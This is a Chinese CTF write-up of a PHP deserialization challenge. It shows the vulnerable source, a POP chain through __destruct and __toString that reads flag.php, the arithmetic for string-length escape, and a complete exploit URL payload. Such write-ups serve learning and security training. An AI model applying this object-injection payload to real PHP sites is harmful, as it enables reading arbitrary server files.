[安恆月賽]反序列化字符逃逸


Ezunserialize

這道題目又讓我加深了對反序列化字符逃逸的理解

源碼如下:

 <?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存儲序列化數據的過程,下面是取出來並反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

這里反序列化中有兩個操作,read和write,一個是將\0\0\0替換偉<0x00>*<0x00>,一個是反過來。

這里我們需要逆着read和write兩個函數的順序想。

如果只經過read的話,字符中帶\0\0\0就會被替換為<0x00>*<0x00>,長度從6變為3,這樣反序列化時就會顯示長度過長,會吃掉后面的字符,長度的變化就會產生一個字符的逃逸。

這道題基本和安洵杯的思路是一樣的。我們本地搭環境測試

payload:

http://127.0.0.1/test.php?a=\0\0\0&b=123

未經read函數

O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:3:"123";}

經過read函數

O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:3:"123";}

這時反序列化會報錯,當多變少的時候,我們可以選擇吃掉中間,然后在后面延長。這里我們需要吃掉username鍵值的第二"到password鍵值的第一個"

每一組\0\0\0替換后都可以吃掉后面三個字符,通過計算需要吃掉的字符,然后構造對象。

這里先寫個pop鏈然后序列化獲得

<?php
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$b=new B();
$b->b=new C();
$b->b->c='flag.php';
$a=new A('a',$b);
echo serialize($a);

獲得

O:1:"A":2:{s:8:"username";s:1:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

a參數是我們需要用\0\0\0多變少后,吃掉中間的,然后再b參數上構造

s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

上面用\0\0\0\簡單測試,發現需要吃掉的有

";s:8:"password";s:3:"

一共22個字符,但是再后面構造時候,b實際要閉合";並且賦值s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}},所以是十位數不是個位數字。

我們這里一共需要吃掉23個字符,后面可以自己補1一個字符。

每\0\0\0一組可以吃掉3個字符,倍數關系,最接近的就是24,需要8組\0\0\0

exp如下:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

這里通過8組\0\0\0,吃掉24個字符,吃掉的字符為

";s:8:"password";s:74:"1

然后通過";閉合掉前面的password鍵值對,構造pop鏈條需要的password鍵值對。

 

從安洵杯,0CTF,安恆月賽這道題都可以看到,當少變多的時候,往往在后面跟着閉合並且將后面的鍵值對擠出去。當多變少的時候,往往是兩個參數,通過前面的參數吃掉中間的部分,后面的部分就可以隨意構造了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM